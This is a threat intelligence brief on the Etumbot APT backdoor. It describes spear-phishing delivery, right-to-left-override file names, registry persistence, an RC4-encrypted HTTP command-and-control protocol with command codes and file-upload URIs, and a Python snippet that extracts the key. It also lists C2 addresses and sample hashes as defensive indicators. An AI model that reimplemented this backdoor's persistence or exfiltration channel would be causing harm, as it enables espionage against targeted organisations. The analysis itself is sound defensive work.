ASERT Threat Intelligence Brief 2014-07 Illuminating the Etumbot APT Backdoor ASERT Threat Intelligence, June 2014 Etumbot is a backdoor used in targeted attacks since at least March 2011.
Although previous research has covered a related family, IXESHE, little has been discussed regarding Etumbots capabilities.
ASERT has observed several Etumbot samples using decoy documents involving Taiwanese and Japanese topics of interest, indicating the malware is used in ongoing, targeted campaigns.
This report will provide information on the capabilities of Etumbot and associated campaign activity.
Etumbot Capabilities and Techniques Etumbot is a backdoor malware that has been associated with a Chinese threat actor group alternatively known as Numbered Panda, APT12, DYNCALC/CALC Team, and IXESHE.
Targeted campaigns attributed to this group include attacks on media, technology companies, and governments.
IXESHE/Numbered Panda is known for using screen saver files (.scr), a technique repeated with the Etumbot malware.
[
1] A previous campaign using IXESHE malware was highlighted in 2012 the group used targeted emails with malicious PDF attachments to compromise East Asian governments, Taiwanese electronics manufacturers, and a telecommunications company.
The group has reportedly been active since at least July 2009.
[
2] Etumbot has also been referred to as Exploz [3] and Specfix.
The variety of names for this malware could lead to some confusion about the actual threat.
ASERT has associated Etumbot with IXESHE, and therefore Numbered Panda, based on similar system and network artifacts that are common between the malware families.
For example, both malware families have been seen using the same ka4281x3.log and kb71271.log files, both families have been observed calling back to the same Command  Control servers and have been used to target similar victim populations with similar attack methodologies.
Etumbot has two primary components.
The first is a dropper which contains the backdoor binary (the second component) and the distraction file.
Stage one is likely delivered via spear phish using an archive file extension such as .7z to deliver executable content.
Stage one has been seen to leverage the Unicode Right to Left Override trick combined with convincing icons for various types of PDFs or Microsoft Office documents to convince the user to click and therefore execute the malware, which then Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 2 Proprietary and Confidential Information of Arbor Networks, Inc. runs the backdoor and displays the distraction file.
As with the IXESHE malware, Etumbot has been observed dropping documents of interest to a Taiwanese and Japanese target population.
Stage 1: Installer/Dropper To profile the techniques and capabilities of Etumbot, we will analyze an Etumbot dropper with MD5 ff5a7a610746ab5492cc6ab284138852 and a compile date of March 4, 2014.
When executed, the dropper loads up a resource named BINARY from the resource section then creates the directory C:\Documents and Settings\User\Application Data\JAVA, then creates a temporary file C:\DOCUME1\User\LOCALS1\Temp\ka4281x3.log then creates C:\Documents and Settings\User\Application Data\JAVA\JavaSvc.exe from the aforementioned BINARY resource.
This file, JavaSvc.exe, is the backdoor component (MD5 82d4850a02375a7447d2d0381b642a72).
JavaSvc.exe is executed with CreateProcessInternalW.
The backdoor component of the malware (named here as JavaSvc.exe) is now running.
It is interesting to note that versions of the IXESHE malware also used JavaSvc.exe as a filename.
Most Etumbot samples observed by ASERT drop decoy documents (PDFs, Word Documents, and Excel Spreadsheets) written in Traditional Chinese and usually pertaining to Cross-Strait or Taiwanese Government interests.
Several decoy files contain details on upcoming conferences in Taiwan.
Spear Phishing Etumbot appears to be sent to targets via spear phishing emails as an archive ASERT has observed .7z and .rar formats being used to presumably deliver the Etumbot installer.
The archive filename will have a topic most likely of interest to the victim.
At least one identified malware sample (75193fc10145931ec0788d7c88fc8832, compiled in March 2014) uses a password-protected .7z to deliver the Etumbot installer.
It is most likely that the spear phish email contained the password.
With the correct password, the victim has access to the dropper inside the archive.
This archive most likely included the installer d444be30d2773b23de38ead1f2c6d117, as the filenames match (1030522 Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved.
3 .7z and 1030522 rcs.
DOC).
1030522 is a date (May 22, 2014) from the Minguo calendar, which is unique to Taiwan.
The calendar is based on the establishment of the Republic of China in 1911.
2014 is therefore the 103rd year of the ROC.
The installer is a .scr binary posing as a Word Document.
This dropper drops a decoy document and the backdoor, named sysupdate.exe in this instance.
Right-to-Left Override After the files are extracted from the archive, the filenames of Etumbot installers make use of the right-to-left override (RTLO) trick in an attempt to trick users into clicking on the installer.
The RTLO technique is a simple way for malware writers to disguise names of malicious files.
A hidden Unicode character in the filename will reverse the order of the characters that follow it, so that a .scr binary file appears to be a .xls document, for example.
Threat actors using this trick have been well documented since at least 2009.
[
4- 5] One way to avoid this trick in Windows is to set the Change your view level to Content.
[
6] Below are some of the names of Etumbot installers using RTLO successfully: File name Md5 Finarcs.doc b3830791b0a397bea2ad943d151f856b 1030522 rcs.
DOC d444be30d2773b23de38ead1f2c6d117 Finarcs.xls 5340fcfb3d2fa263c280e9659d13ba93 10342-  rcs.xls beb16ac99642f5c9382686fd8ee73e00 1030324 1 finalrcs.xls 4c703a8cfeded7f889872a86fb7c70cf APO EPIF rcs.xls 1ce47f76fca26b94b0b1d74610a734a4 Stage 2: Persistence, Distraction, HTTP Beacon and Crypto Functionality As the backdoor executes from our previous example, C:\DOCUME1\User\LOCALS1\Temp\ kb71271.log is created and contains the following registry file to make the malware persistent: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] JavaSvcC:\\Documents and Settings\\User\\Application Data\\JAVA\\JavaSvc.exe The dropper then calls regedit with kb71271.log as a parameter to modify the registry.
kb71271.log is then deleted.
These temp files appear to be static and used across multiple samples of Etumbot and IXESHE.
Various other samples were found using this same naming scheme.
Next, C:\DOCUME1\User\LOCALS1\Temp\ka4281x3.log is created, filled with contents of the bait/distraction file, and then copied to C:\DOCUME1\User\LOCALS1\Temp\t3fcj1.doc, which is then opened.
If Word isnt installed, then notepad will open the file instead.
The ka4281x3.log file is then deleted.
Returning to the first sample, once the dropper (ff5a7a610746ab5492cc6ab284138852) installs the Etumbot backdoor (82d4850a02375a7447d2d0381b642a72), an initial HTTP beacon is sent to the Command  Control server that requests an RC4 encryption key.
The beacon takes the form of a GET request to /home/index.asp?typeidN where N is a randomly selected odd number between 1 and 13.
If the CC is online, the decoded response payload will contain the RC4 key that is used to encrypt subsequent communication.
If the CC does not send a valid response, the bot will re-send the initial request every 45 seconds.
Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 4 Proprietary and Confidential Information of Arbor Networks, Inc.
While the user-agent may appear to be legitimate, it only occurred 39 times in a corpus of over 61 million HTTP requests.
Due to the possibility of this User-Agent appearing in legitimate traffic, other indicators such as the additional fake Referer value of http://www.google.com should be present before compromise is assumed.
All of the headers in the HTTP request are hard-coded in both order and value, so they may be used to provide additional indicators of compromise.
If the CC is online and responds to the beacon, then the RC4 key is delivered to the bot in a string of base64 encoded characters.
Etumbot uses a url-safe base64 alphabet, i.e., any characters that would require URL-encoding are replaced.
Usage of base64 is a technique consistent with previous analysis done on IXESHE malware.
[
2,7] In the case of Base64, the / and  characters are replaced with _ and - respectively.
The payload from the CC contains an 8-byte command code in little-endian format, followed by a null-terminated string argument if the command requires it.
In the case of the initial beacon response, the RC4 key is located after the command code and has been observed to be e65wb24n5 for all live CCs that ASERT has analyzed.
An example of this initial beacon and delivery of RC4 key is as follows.
Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved.
5 The RC4 key can be obtained from the CC response with the following python: import base64 c2_responseAQAAAAAAAABlNjV3YjI0bjUAAAAAAAAAAAAAAG5FAVBvIz8hYk08ITI4BA0lMTBvBRx0NB18 BndMcFMKQhR5PxxkQ3VnFEALeXA6C3RPBmJLHBBccHQINEl9I3kMUk0lOT4wCFgqD3khTjl5IEAqGzU_DmtU eEJBYSQHEiwRADteMEFjTw5oXgtjGkUxL14JPlwyYQQXPkVaQiAyUBEaJWlkOQEmZRoXZ10EN3RndH0kbEEre w0NUklhFRlpNDJofS1hPQMCeWUvHSQPA2ZAPHEcCRkLPURbCC8bdTgIXXcIBhBbVlhjdB8iL2Y_TCNldTNjZkE vB0M5BWtaOkBALj4KIA5UBjhVPxhhSk1fAwdKKi8zdhl6TkthRUZAOQdICRgFEgY0dwpQNjtlQgR8DzM9N3NQ BhteHgdwaVtycDZvS1Q3CTYhARI1GBMrWh1FQxcdQhV7MSxNQxqFHgVKHRAdBIBIzNFP14gLHErBAYeWH 1jGCMAdlx5MWAuFk5TW3MUxFMclIsclEAbzgzB2NSOX0iYBBucmthDyYaZR8tBBMbJjMoCXleMkMYjdfCHc xIUBHbicRiEeNwAvWD40W2p0diUyCTJHFEUKRcZFVJTA0zHgxwAiJva306KXkIL3ZnRwAIKCh4M3sgFgZ ZGU9lFXg4ancZFSAlNl1RaRQ8b3drCWofbWBfkIyKEJ8AnJlaUAxEglWZSMTWFEAE4aCnFpe1JpB1xTBSgfE UwVUh1UDE5UVC1qanIcXXlfcmRzdWkPK2doDlBhVmx4dm8zUkFgMWJHdRhzRSdrKwk_KWAadyAqMEg2MlE YNVl9Wl84bQtVcRYpFHAXGg8kQiI6E1xiBApHV3ZDLBYG2sADmJXUC9OCixmBEYUNGBXATh0QVxUNTwyQ nhbXRxNTHlCEAlYBXhyTWdyQRcNBxskBRlRBn42HlhNbEtnJCk4QkIoDzRbEChGLi10ERpgZTpNNCJjKEUNOhh lcRR1DkwITMAYAleCDQdTVpTHGQbXwktTmROQiooaEtLLHcILTo4an08I1p9H2IPeBseLiUScQp3Xg-- .replace(_,/).replace(-,) c2_responsebase64.b64decode(c2_response) rc4_key  c2_response[8:8c2_response[8:].find(\x00)] print rc4_key e65wb24n5 While a payload of 1080 bytes is sent back, the majority appears to be random padding.
Once the bot has received the encryption key, the bot sends a registration callback to the CC /image/encrypted data.jpg containing the encrypted values of system information to include the NetBIOS name of the system, user name, IP address, if the system is using a proxy (Yes/No), and a numeric value which may be some type of campaign code.
IXESHE malware has also been observed using a unique campaign code that is delivered back to the CC.
[
7] Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 6 Proprietary and Confidential Information of Arbor Networks, Inc. Etumbot discovers the proxy settings of the local machine.
If a proxy is defined, communications to the CC bypass the proxy and go directly to the Internet.
Environments with system-defined proxies wont get this activity in proxy logs, however transparent proxies may see this activity.
A contrived example of this registration string generated by the Etumbot backdoor prior to encryption is as follows: WINXPBOXjohnsmith10.0.1.15No Proxy05147 A bot registration call to /image Once the bot has registered with the CC, it will send periodic pings to ask for new commands to execute.
The URI for the ping requests is /history/encrypted NetBIOS name.asp, where encrypted NetBIOS name is the url-safe base64 encoding of the rc4-encrypted NetBIOS name.
Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved.
7 Etumbot Command Structure The first eight bytes of CC responses to the bot include the command, and the second eight bytes contain an ASCII string that is parsed.
In the event of a file download, file upload, or command execution, the second eight bytes contain the filename or command to be executed.
The parsing function inside the binary reveals at least five commands: Etumbot function Command name Internal code Execute arbitrary command ETUM_CMD_EXEC 3 Download file from CC ETUM_CMD_PUTFILE 4 Upload file from bot to CC ETUM_CMD_READFILE 5 Pause execution ETUM_CMD_SLEEP 7 Delete backdoor binary and terminate program ETUM_CMD_UNINSTALL 8 Ping the CC ETUM_CMD_PING 9 ETUM_CMD_EXEC provides the capability for the attacker to run any command on the compromised hosts.
Both stdout and stderr from the command are redirected to a pipe and are then relayed back to the CC using a separate thread that spawned during initialization.
In the event of a process creation or hang error, an HTTP transaction to /tech/s.asp/mmessage is sent to the CC, where message contains Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 8 Proprietary and Confidential Information of Arbor Networks, Inc. a create process error statement CreateProcess Error: d or a message that states Process Do not exit in 10 second, so i Kill it.
Some samples of droppers have been observed using the string Process Do not cunzai in 10 second, so i Kill it.
The word cunzai is likely the pinyin (romanization) for the Mandarin word exist.
ETUM_CMD_PUTFILE provides the capability for files to be placed on local system from the CC.
The file upload is accomplished by sending a request to /docs/namedata and the CC is expected to respond with the full contents of the file as the response payload.
A success or failure status message is relayed via a call to /tech/s.asp?mencrypted status message with various reasons for failure potentially being relayed.
ETUM_CMD_READFILE allows any file from the compromised system to be uploaded to the CC.
When a READFILE command is received from the CC, the bot makes an initial call to /manage/asp/item.asp?idencrypted computer namemuxencrypted total file size and checks for the presence of Im Ready in the response from the CC.
Data from the file is read in 2000 byte chunks, RC4 encrypted and then url-safe base64 encoded.
The data is sent back to the CC via the URI /article/30441/Review.asp?idencoded computer namedatefile chunk data.
The bot expects a message of OK from the CC after each response is sent and will terminate the upload and send an error message to the CC in the case it is not seen.
A success or failure message is sent via the /tech/s.asp?mencrypted status message to complete or terminate the upload.
ETUM_CMD_SLEEP puts the bot into a dormant state for a period of time.
When a bot receives the sleep command, it will relay the message, I will sleep d minutes via a call to /tech/s.asp?mencrypted message.
ETUM_CMD_UNINSTALL deletes the binary and terminates the process with no additional communication to the CC.
Use of Byte Strings Technique (aka String Stacking) Etumbot uses a technique to load strings into memory that has been called byte strings and also string stacking whereby character values are loaded into a specific memory location one byte at a time.
Assuming the string values do not change frequently, these byte strings can make for meaningful detection capabilities, such as discovering an unusual combination of characters (to include typos, unique or odd syntax) being loaded into memory that creates a unique fingerprint for the malware activity that can be used as part of a yara rule or other detection mechanism.
The byte string technique has been observed in various Chinese APT malware, including Gh0st RAT, IXESHE malware, Etumbot and others.
ASERT has provided an IDApython script that will provide for cleaner analysis of such strings as well as a corresponding blog entry that describes the obfuscation technique and code.
[
8-9] The output of running find_byte_strings.py on an Etumbot backdoor shows the string Im Ready which is involved in file transfer routines.
The first screenshot shows the default hex byte values that are MOVed into offsets from EBP, and the second screenshot shows those same characters after translation to string values.
Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved.
9 Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 10 Proprietary and Confidential Information of Arbor Networks, Inc. Two additional screenshots provide insight into all of the strings discovered.
The byte string technique has also been observed in other malware, so its presence alone does not specifically indicate the activities of Chinese threat actors.
An interesting artifact occasionally observed during analysis is the presence of a numeric value just after an IP address used as a CC.
The placement of this number after a colon suggests the use of a port value, however such a port value is too high to be valid.
An example of this taken from an Etumbot sample performing an initial beacon is as follows: Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved.
11 Etumbot Backdoor Related File System Artifacts of Interest Filename Purpose Notes ka4281x3.log Temporary file for data exchange from CC Observed in various IXESHE malware variants as well as Etumbot.
File is stored in C:\Windows\system32\, \Documents and Settings\username or elsewhere ka4a8213.log Temporary file for data exchange from CC Similar in format to the prior filename, this has only been observed in Etumbot samples.
kb71271.log Temporary file for data exchange from CC, to include registry file Observed in various IXESHE malware variants as well as Etumbot DA5E74.doc DS5D64.doc t3fcjl.doc g4h710.doc gh4710.pdf trfai3.doc tresd2.xls taste3.doc tasyd3.xls tkfad1.xls Distraction documents Contains a variety of document content, often obtained from other sources that will be of interest to the target ntprint.exe conime.exe JavaSvc.exe serverupdate.exe wscnsvr.exe spoolvs.exe winlogdate.exe Backdoor binary The Etumbot backdoor binary itself which is added to the registry for persistent execution tst1.tmp tst2.tmp tst3.tmp Observed in IXESHE malware and Etumbot samples as well as in other malware.
The file tst3.tmp is more popular than the other two file names and is used in a wider variety of malware Locations JAVA Directory created Created in \Documents and Settings\username\Application Data\ and also in root of C:\ directory Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 12 Proprietary and Confidential Information of Arbor Networks, Inc. Etumbot Command and Control Indicators Most instances of Etumbot that were analyzed connect directly to an IP address with the IP address hardcoded in the binary.
These CCs were obtained from analyzing malware samples compiled over a period of several years.
A number of these CC IP addresses are also used by IXESHE-related malware, which seems to indicate that Etumbot is often used in tandem with IXESHE.
The domain finance[.]yesplusno[.
]com and IP address 211[.
]53.164.152 was also used by a variety of IXESHE samples, for instance.
The registrant for the domain yesplusno[.
]com is listed as alice yoker with the email address chuni_fansina.com.
Other domains registered in this name have also been used as CC for IXESHE: securezone[.]yesplusno[.
]com [10] prishmobile[.]googlesale[.
]net yahoopush[.]googlesale[.
]net The IP address 98.188.111.244 has also been used as a CC for multiple IXESHE samples, beginning in at least March 2013 and observed as recently as March 2014 with an Etumbot sample.
This is the IP address for what appears to be a legitimate website for a school in Taiwan: intro.sunnyschool.com.tw.
Note that if HTran or other connection bouncer is used, the CC may be a legitimate site that was simply compromised and used to direct traffic elsewhere.
Miscellaneous Network Artifacts: Use of Htran Connection Bouncer Indicators suggest that HTran, a connection bouncer, is being used in some cases such as on the CC contacted by malware sample MD5: 1ce47f76fca26b94b0b1d74610a734a4 (compilation date March 12, 2014).
The presence of HTran is based on the following response string [SERVER]connection to ss:dd error 1 IP address allocated to Hokkaido University 2 IPs allocated to Hong Kong University of Science and Technology 2 IPs allocated to Hong Kong University of Science and Technology 3 IP allocated to the University of Missouri 4 IP allocated to the University Saint-Louis of Senegal IP Address Domain Name Country 200.27.173.58 CL 200.42.69.140 AR 92.54.232.142 GE 133.87.242.631 JP 98.188.111.244 intro.sunnyschool.com.tw US 143.89.145.1562 HK 198.209.212.823 US 143.89.47.1322 HK 196.1.99.154 wwap.publiclol.com SN 59.0.249.11 KR 190.16.246.129 AR 211.53.164.152 finance.yesplusno.com KR Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved.
13 HTran is also called HUC Packet Transmit Tool, developed by a member of the Honker Union of China, a hacker group the source code for the program is available online.
[
11] HTran is designed to redirect TCP traffic intended for one host to another, and has been used by IXESHE malware previously.
[
2] Researchers at SecureWorks determined some years back that HTran would deliver the IP address of the final destination server if the final server were down or unreachable.
The code in use here has been modified to not reveal such information.
Organizations properly positioned with netflow or other traffic analysis capabilities may be able to locate upstream servers from HTran nodes that operate as the initial tier of CC.
Htran activity can be detected with the following signature: ET CURRENT_EVENTS HTran/SensLiceld.
A response to infected host The import hash for the sample observed connecting to an Htran bouncer is a9059c354e5025dfe4f1c0b8b57e4f62 which links to other Etumbot samples compiled with Microsoft Visual C 5.0 in a similar March 2014 timeframe: 4c703a8cfeded7f889872a86fb7c70cf   2014-03-24 ff5a7a610746ab5492cc6ab284138852 2014-03-04 Etumbot Campaign Timeline The following samples have been identified by ASERT as Etumbot malware.
The first identified sample has a compilation date of March 2011, while the most recent was compiled in May 2014.
Many droppers/installers contain Etumbot or, alternatively, IXESHE-related backdoors.
Most of the documents dropped with Etumbot are written in traditional Chinese.
Traditional Chinese (versus simplified Chinese used in mainland China) is most widely used in Taiwan.
While other areas do make use of traditional Chinese (Hong Kong, Macau), the topics of the decoy documents strongly suggest that Taiwanese entities are the targets for many Etumbot samples.
A recent increase in Etumbot samples with configuration dates of 2014 seems to indicate that the Numbered Panda/IXESHE group has increased activity lately or has begun using Etumbot more widely in targeted campaigns.
2011 ac22aa007081caeb8970aefba7eddfcf Compilation Date: 2011-03-09 14:10:34 CC: N/A Filename: Help statement from western U.S ?
cod.scr Archive: HelpXstatementXfromXwesternXU.SX.rar (c2d667b8072aa2eaa670d4459dd7c90d) Dropped Files: workp.doc (7ec4ece7358f9f67a4d583777dc1fb59), ka4281x3.log, kb71271.log, WINCHAT.EXE (70424b91dc905e4ca5e4aeb1c62ed91f) Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 14 Proprietary and Confidential Information of Arbor Networks, Inc. workp.doc: News article on recent Chilean earthquake (English) cd33c5467d425f662f57672531701d89 Compilation Date: 2011-03-14 02:49:22 CC: N/A Filename: N/A Dropped Files: workp.doc (731f288ebd8ff05b3a32377d9d7f4751), WINCHAT.exe (e62453f41af9d87b4f6d4e8223926024) workp.doc: Notice from TEPCO (Tokyo Electric Power Company) dated March 14 about emergency shortage and blackouts.
(
Japanese) 04908c6853cb5c9d7dccaf15fb5fd3bb Compilation Date: 2011-03-24 03:24:42 CC: 32.114.251.129 (US), 217.119.240.118 (RS), 202.106.195.30 (CN) larry[.]yumiya[.
]com Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved.
15 Filename: N/A Dropped Files: workp.doc (4d47f52c675db16ab1e1df5ac050d3b8), ka4281x3.log, kb71271.log, WINCHAT.exe (47ee9a497a12272b50bb5e197935f13f) workp.doc:  Investigation Results of several cases/laws involving the Ministry of National Defence (Traditional Chinese) 2012 232b659e28c5e06ad5466c01aec35cb6 Compilation Date: 2012-09-19 08:53:14 CC: 200.27.173.58 (CL) Filename: N/A Dropped Files: ka3157j.log, W3svc.exe (1e838fd06bcc64c54e75c527df164d91) 7a698acebcf19b55170f05388a2f7fe0 Compilation Date: 2012-10-12 01:21:11 CC: N/A Filename: N/A Dropped Files: ka3158jl.log, iexplore.exe (ac7f77cc55c964e400b8926f21bed7d2) 1e8fba674761371cb9e88962dcb851c0 Compilation Date: 2012-11-20 00:11:02 CC: 211.53.164.152 (KR), finance[.]yesplusno[.
]com Filename: N/A Dropped Files: PG7953.doc (adc0ffd684d9a986d65cb4efba39c3fe), ka3157jl.log, kb71271.log, iexplore.exe (37648553f4ee6c5cb712cca446340a9a) Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 16 Proprietary and Confidential Information of Arbor Networks, Inc. PG7953.doc: qqqqqq 88653dde22f723934ea9806e76a1f546 Compilation Date: 2012-12-05 01:30:07 CC: 190.193.44.138 (AR), cht[.]strangled[.
]net Filename: N/A Dropped Files: N/A (this sample is a dropped backdoor) 2b3a8734a57604e98e6c996f94776086 Compilation Date: 2012-12-05 02:13:27 CC: 92.54.232.142 (GE) Filename:  .doc .exe Dropped Files: DS5D64.doc (2454c4af0b839eb993dd1cbb92b2c10d), ka4281x3.log, conime.exe (3214bf22eb28e494b8e23d8ffc5ac4a9) DS5D64.doc: Form pertaining to unspecified investigation/case (Traditional Chinese) Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved.
17 1498c9761fc819d496171c71604c2128 Compilation Date: 2012-12-11 02:26:18 CC: N/A Filename:  cod.scr Dropped Files: DS5D64.doc (e8b92d20a9c4718b4f90d27cd8cba4b3), conime.exe (0bfb9f2080aeee22d3b4ca6fbfd25980) DS5D64.doc: Application to apply as a member of the Taiwan National Alliance (Traditional Chinese) 063b6076c69ce3ba4f116d1ad51da2b5 Compilation Date: 2012-12-12 01:26:54 CC: N/A Filename: N/A Dropped Files: PG7953.doc (c4af36f64d515569816263ca48f61899), ka3157jl.log, iexplore.exe (5b15664fb744c3f3cf7ec7b5515d2be5) PG7953.doc: Foreign Ministry: Security Operation Center Plan (Traditional Chinese) Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 18 Proprietary and Confidential Information of Arbor Networks, Inc. 2013 ca838b98ca0f516858a8a523dcd1338d Compilation Date: 2013-07-25 07:48:29 CC: 143.89.145.156 (HK) Filename: N/A Dropped Files: g4h710.doc (729353afd095ca07940490dbb786ee33), ka4281x3.log, kb71271.log, JavaSvc.exe (36b42162c818cf6c2fb22937012af290) g4h710.doc: The 2013 Turning Point: Blazing a Trail for Taiwans Economy Conference at the Taipei International Convention Center 2013-07-30 (Traditional Chinese) 986937eb4052562cdd3960dd8fffc481 Compilation Date: 2013-07-30 08:22:06 CC: 200.42.69.140 (AR) Filename: N/A Dropped Files: g4h710.pdf (7cd7db8ff8071d590567c68ea0219f23), ka4281x3.log, kb71271.log, JavaSvc.exe (ee8ba3bef6a607af79405e75fb0f0d6f) Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved.
19 g4h710.pdf: the Industrial Technology Research Institute (Taiwan), 2013 Cross Strait Communication Industry Cooperation and Exchange Meeting (2013-07-15) (Traditional Chinese) 5ef508d0ca7759ecf602192521fff287 Compilation Date: 2013-08-01 00:47:08 CC: 200.42.69.140 (AR) Filename: N/A Dropped Files: t4hhk0.pdf (6b7cbcabd963ee4823dd2cd9daa5fcc7), ka4281x3.log, kb71271.log, JavaSvc.exe (ee8ba3bef6a607af79405e75fb0f0d6f) t4hhk0.pdf: Cross Straits Strategic Emerging Industry Cooperation and Development Forum (2013-08-14) (Traditional Chinese) Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 20 Proprietary and Confidential Information of Arbor Networks, Inc. 2014 ff5a7a610746ab5492cc6ab284138852 Compilation Date: 2014-03-04 00:19:59 CC: 98.188.111.244 (US) Filename: WTOXPiii20140303 _slx.scr Dropped Files: t3fcj1.doc (361a6752766c154c6e31a4d9cc3a3fdc), kb71271.log, ka4281x3.log, JavaSvc.exe (82d4850a02375a7447d2d0381b642a72) t3fcj1.doc 1ce47f76fca26b94b0b1d74610a734a4 Compilation Date: 2014-03-12 01:38:44 CC: 133.87.242.63 (JP) Filename: APO EPIF  rcs.xls Dropped Files: tresd2.xls (2e073d35934bb3920fe9907ccb7bc5f8), ka4281x3.log, kb71271.log, wscnsvr.exe (deeec10be746ecf9bf46a30bf58bc784) Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved.
21 tresd2.xls: International Green Fair (EPIF), held in Taiwan March 13-16, 2014 (Traditional Chinese) 4c703a8cfeded7f889872a86fb7c70cf Compilation Date: 2014-03-24 00:53:57 CC: 133.87.242.63 (JP) Filename:  1030324 1 finalrcs.xls Archive: .rar (9b42968e9a7646feb7db318713271718) Dropped Files: t3fcj1.xls (18dc518810892d89430a1efe2c71797e), ka4a8213.log, kb71271.log, serverupdate.exe (fed7ce0d20e78b5814475d8f9d062c80) t3fcj1.xls: Filename  (Traditional Chinese) pertains to a Taiwan National Development Council meeting, document is unreadable Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 22 Proprietary and Confidential Information of Arbor Networks, Inc. beb16ac99642f5c9382686fd8ee73e00 Compilation Date: 2014-03-31 07:34:00 CC: 143.89.47.132 (HK) Filename: 10342- rcs.xls Dropped Files: tkfad1.xls (eef5f9b46676b31a791216b42360c8bb), ka4a8213.log, kb71271.log, Googleupdate.exe (e7d960060d602deb53c7d49d2002c4a4) tkfad1.xls: Filename  (Traditional Chinese) pertains to April 2 meeting of unnamed Commission about financial regulation amendments.
Document format is unreadable 5340fcfb3d2fa263c280e9659d13ba93 Compilation Date: 2014-04-23 01:23:41 CC: 196.1.99.15 (SN), wwap[.]publiclol[.
]com Filename:  Finarcs.xls Dropped Files: tasyd3.xls (c5118ba47b7aa12d6524f648f1623cc1), ka4a8213.log, kb71271.log, winlogdate.exe (ba4f88fe44d02a299dbeab18c37f74f3) tasyd3.xls: Filename price list (Traditional Chinese).
Document format is unreadable.
Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved.
23 a6b4b679a51627ce279d5107c20dd078 Compilation Date: 2014-04-29 03:44:19 CC: 59.0.249.11 (KR) Filename: spoolv.exe Dropped Files: N/A (this sample is a dropped backdoor) d444be30d2773b23de38ead1f2c6d117 Compilation Date: 2014-05-14 13:34:46 CC: 198.209.212.82 (US) Filename: 1030522 rcs.
DOC Archive: 1030522.7z (75193fc10145931ec0788d7c88fc8832) Dropped Files: trfai3.doc (196ae8d6a5d19737ae6975d047ab1d59), ka4a8213.log, kb71271.log, sysupdate.exe (86ef188537f5e4637df24336c9b21cb0) trfai3.doc: List of Convener, Deputy Convener, and Executive Secretary names for various government departments (Traditional Chinese) b3830791b0a397bea2ad943d151f856b Compilation Date: 2014-05-14 08:16:41 CC: 198.209.212.82 (US) Filename:  Finarcs.doc Archive: .rar (8629b95f9e0898793e0881a8f79ee0cf) Dropped Files: taste3.doc (aeaf1e78c2082644b122bf32803acb1f), ka4a8213.log, kb71271.log, spoolvs.exe (5eba8ced8656da865f91d5fc87e8dc74) Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 24 Proprietary and Confidential Information of Arbor Networks, Inc. taste3.doc: Sun Yat-Sen University (Taiwan) purchase list, items include Cisco3045E/K9 or equivalent (Traditional Chinese) List of Identified Etumbot MD5s ca838b98ca0f516858a8a523dcd1338d 986937eb4052562cdd3960dd8fffc481 5ef508d0ca7759ecf602192521fff287 d08c54ed480c9cd8b35eab2f278e7a28 82d4850a02375a7447d2d0381b642a72 4c703a8cfeded7f889872a86fb7c70cf 063b6076c69ce3ba4f116d1ad51da2b5 232b659e28c5e06ad5466c01aec35cb6 1e8fba674761371cb9e88962dcb851c0 7a698acebcf19b55170f05388a2f7fe0 ff5a7a610746ab5492cc6ab284138852 cd33c5467d425f662f57672531701d89 1ce47f76fca26b94b0b1d74610a734a4 ac22aa007081caeb8970aefba7eddfcf 1498c9761fc819d496171c71604c2128 2b3a8734a57604e98e6c996f94776086 9b42968e9a7646feb7db318713271718 04908c6853cb5c9d7dccaf15fb5fd3bb d444be30d2773b23de38ead1f2c6d117 86ef188537f5e4637df24336c9b21cb0 e7d960060d602deb53c7d49d2002c4a4 5340fcfb3d2fa263c280e9659d13ba93 a6b4b679a51627ce279d5107c20dd078 88653dde22f723934ea9806e76a1f546 b3830791b0a397bea2ad943d151f856b beb16ac99642f5c9382686fd8ee73e00 Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved.
25 References [1] http://www.crowdstrike.com/blog/whois-numbered-panda/ [2] http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf [3] http://www.symantec.com/security_response/writeup.jsp?docid2013-080921-5219-99tabid2 [4] https://blog.commtouch.com/cafe/malware/exe-read-backwards-spells-malware/ [5] http://threatpost.com/sirefef-malware-found-using-unicode-right-to-left-override-technique/102033 [6] http://blog.malwarebytes.org/online-security/2014/01/the-rtlo-method/ [7] http://www.fireeye.com/blog/technical/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve- quickly.html [8] https://github.com/arbor/reversing/blob/master/find_byte_strings.py [9] http://www.arbornetworks.com/asert/2013/07/asert-mindshare-finding-byte-strings-using-idapython/ [10] https://www.symantec.com/security_response/writeup.jsp?docid2014-011500-2419-99tabid2 [11] http://read.pudn.com/downloads199/sourcecode/windows/935255/htran.cpp__.htm About ASERT The Arbor Security Engineering  Response Team (ASERT) at Arbor Networks delivers world-class network security research and analysis for the benefit of todays enterprise and network operators.
